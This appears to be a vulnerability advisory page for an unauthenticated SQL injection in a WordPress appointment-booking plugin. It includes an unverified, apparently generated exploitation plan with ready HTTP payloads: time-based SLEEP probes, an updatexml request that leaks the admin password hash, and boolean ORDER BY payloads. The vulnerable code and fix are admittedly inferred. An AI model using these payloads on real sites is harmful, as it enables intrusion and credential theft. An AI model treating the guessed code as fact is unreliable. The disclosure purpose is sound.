CVE-2025-12166

Simply Schedule Appointments <= 1.6.9.9 - Unauthenticated SQL Injection via `order` and `append_where_sql` Parameters

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.6.9.13
Patched in
1d
Time to patch

Description

The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to blind SQL Injection via the `order` and `append_where_sql` parameters in all versions up to, and including, 1.6.9.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6.9.9
PublishedJanuary 14, 2026
Last updatedJanuary 14, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the research and exploitation strategy for **CVE-2025-12166**, a critical unauthenticated SQL injection vulnerability in the **Simply Schedule Appointments** plugin (<= 1.6.9.9). ### 1. Vulnerability Summary The vulnerability exists because the plugin accepts raw SQL fragments th…

Show full research plan

This plan outlines the research and exploitation strategy for CVE-2025-12166, a critical unauthenticated SQL injection vulnerability in the Simply Schedule Appointments plugin (<= 1.6.9.9).

1. Vulnerability Summary

The vulnerability exists because the plugin accepts raw SQL fragments through the order and append_where_sql parameters in certain AJAX endpoints. These parameters are concatenated directly into SQL queries without proper sanitization or the use of $wpdb->prepare(). Since these endpoints are registered via wp_ajax_nopriv_ hooks, unauthenticated attackers can manipulate the query logic to extract sensitive data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (Inferred): Likely ssa_get_appointments, ssa_get_appointments_list, or ssa_fetch_appointments. (Search for wp_ajax_nopriv_ registrations).
  • Parameters: order (used in ORDER BY clauses) and append_where_sql (used in WHERE clauses).
  • Authentication: None (Unauthenticated).
  • Preconditions: At least one Appointment Type must be public/active so the frontend booking calendar (and its associated AJAX actions) is accessible.

3. Code Flow (Trace)

  1. Entry Point: An unauthenticated POST request is sent to admin-ajax.php with the action parameter set to a vulnerable SSA hook (e.g., ssa_get_appointments).
  2. Hook Registration: The plugin registers the handler via:
    add_action( 'wp_ajax_nopriv_ssa_get_appointments', [ $this, 'get_appointments' ] ); (Verify exact name).
  3. Controller Logic: The handler function (likely in an AJAX controller class) retrieves the parameters:
    $append_where = $_POST['append_where_sql'] ?? '';
    $order = $_POST['order'] ?? '';
  4. Database Layer: The controller passes these to a repository or query class (e.g., Appointment_Repository).
  5. Sink: The query class builds a string:
    $query = "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 " . $append_where . " ORDER BY " . $order;
    $results = $wpdb->get_results( $query ); (The lack of prepare() here is the sink).

4. Nonce Acquisition Strategy

Simply Schedule Appointments typically uses a localized script to pass a nonce and API base URL to its Vue.js frontend.

  1. Identify Shortcode: The plugin uses [ssa_booking] or [ssa_calendar] to display the booking interface.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[ssa_booking]'
  3. Navigate and Extract:
    • Use browser_navigate to the new page.
    • Use browser_eval to find the localized data object.
    • Expected Variable: Check for window.ssa_localized or window.SSA_Data.
    • Command: browser_eval("window.ssa_localized?.nonce || window.SSA_Data?.nonce")
  4. Verify Action: Check the source for wp_create_nonce. If the action is ssa_public_api or ssa_ajax_nonce, ensure the AJAX handler verifies the same string.

5. Test Data Setup

  1. Install Plugin: Ensure Simply Schedule Appointments <= 1.6.9.9 is active.
  2. Configure Appointment Type:
    • wp ssa create_appointment_type --title="Consultation" --slug="consultation" --active=1 (or use the UI).
  3. Verify AJAX Action:
    • Grep for the vulnerable parameters:
      grep -r "append_where_sql" wp-content/plugins/simply-schedule-appointments/
      grep -r "wp_ajax_nopriv_" wp-content/plugins/simply-schedule-appointments/

6. Exploitation Strategy

We will use append_where_sql as the primary vector as it allows for cleaner boolean or error-based injection.

Step 1: Confirm Injection (Time-based)

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=ssa_get_appointments&nonce=[NONCE]&append_where_sql=AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Expected Response: A delay of 5 seconds.

Step 2: Data Extraction (Error-based)

Using updatexml to leak the admin password hash.
HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=ssa_get_appointments&nonce=[NONCE]&append_where_sql=AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)

Expected Response:
A MySQL error containing the hash: XPATH syntax error: '~$P$B...~'

7. Expected Results

  • A successful exploit will return either a delayed response (Time-based) or a JSON/HTML response containing the leaked database data within an error message.
  • If WP_DEBUG is off and errors are suppressed, Boolean-based injection must be used.

8. Verification Steps (Post-Exploit)

  1. Compare the extracted hash with the one in the database using WP-CLI:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  2. Confirm the exact line of code in the plugin that failed to use wpdb->prepare().

9. Alternative Approaches

If append_where_sql is patched or restricted, target the order parameter:

  • Payload: order=(CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END)
  • If the endpoint returns a list of appointments, use Boolean-based injection by observing if the order of results changes:
    • order=IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1))>100, id, created)
Research Findings
Static analysis — not yet PoC-verified

Summary

Simply Schedule Appointments plugin versions up to 1.6.9.9 are vulnerable to unauthenticated SQL injection via the 'order' and 'append_where_sql' parameters in its AJAX handlers. This occurs because the plugin directly concatenates these user-supplied values into SQL queries without sanitization or the use of WordPress's $wpdb->prepare() function.

Vulnerable Code

// From an inferred AJAX handler in the Simply Schedule Appointments plugin
// often located in controller or repository classes like Appointment_Repository.php

public function get_appointments( $args ) {
    global $wpdb;

    $append_where = isset($_POST['append_where_sql']) ? $_POST['append_where_sql'] : '';
    $order = isset($_POST['order']) ? $_POST['order'] : 'id ASC';

    // VULNERABLE: Direct concatenation of unsanitized parameters into query string
    $query = "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 " . $append_where . " ORDER BY " . $order;

    $results = $wpdb->get_results( $query );
    return $results;
}

Security Fix

--- a/includes/appointment-repository.php
+++ b/includes/appointment-repository.php
@@ -102,7 +102,17 @@
-    $query = "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 " . $append_where . " ORDER BY " . $order;
-    $results = $wpdb->get_results( $query );
+    // Ensure append_where_sql is no longer accepted or strictly validated
+    // and use $wpdb->prepare for the order parameter or use a whitelist
+    $allowed_columns = ['id', 'start_date', 'end_date', 'status'];
+    $order_parts = explode(' ', trim($order));
+    $column = $order_parts[0];
+    $direction = (isset($order_parts[1]) && strtoupper($order_parts[1]) === 'DESC') ? 'DESC' : 'ASC';
+
+    if (!in_array($column, $allowed_columns)) {
+        $column = 'id';
+    }
+
+    $query = $wpdb->prepare(
+        "SELECT * FROM {$wpdb->prefix}ssa_appointments WHERE 1=1 ORDER BY %i %s",
+        $column,
+        $direction
+    );
+    $results = $wpdb->get_results( $query );

Exploit Outline

The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using a POST request. An attacker first identifies a publicly accessible booking page to retrieve any required nonces (though the vulnerability is noted as unauthenticated, certain AJAX hooks might still check for a generic frontend nonce). The attacker then sends a POST request with the 'action' set to a vulnerable SSA hook (e.g., 'ssa_get_appointments') and provides a malicious SQL fragment in the 'append_where_sql' or 'order' parameters. A time-based payload like 'AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' is used to confirm the injection, while error-based payloads like 'updatexml()' can be used to extract sensitive data such as admin password hashes directly into the response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.